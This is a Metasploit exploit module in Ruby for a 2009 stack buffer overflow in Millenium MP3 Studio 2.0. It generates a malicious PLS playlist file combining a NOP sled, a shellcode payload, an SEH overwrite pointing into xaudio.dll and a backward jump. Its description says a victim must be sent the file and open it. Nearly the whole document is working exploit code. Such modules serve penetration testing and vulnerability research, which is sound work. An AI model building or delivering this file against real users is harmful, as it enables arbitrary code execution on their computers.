77 lines
2.3 KiB
Ruby
77 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Millenium MP3 Studio 2.0.
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An attacker must send the file to victim and the victim must open the file.
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Alternatively it may be possible to execute code remotely via an embedded
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PLS file within a browser, when the PLS extension is registered to Millenium MP3 Studio.
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This functionality has not been tested in this module.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Molotov ', 'dookie', 'jduck' ],
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'References' =>
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[
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[ 'OSVDB', '56574' ],
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[ 'EDB', '9618' ],
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[ 'EDB', '10240' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x1a",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', { 'Ret' => 0x10015593 } ], #p/p/r in xaudio.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 30 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
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])
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end
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def exploit
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header = "[playlist]\r\n"
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header << "NumberOfEntries=1\r\n"
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header << "File1=http://"
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sploit = make_nops(4103 - payload.encoded.length)
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sploit << payload.encoded
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sploit << generate_seh_record(target.ret)
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (4103+8).to_s).encode_string
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# note, one of the arguments get modified post overflow, so executing stuff below here is risky...
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filepls = header + sploit
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(filepls)
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end
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end
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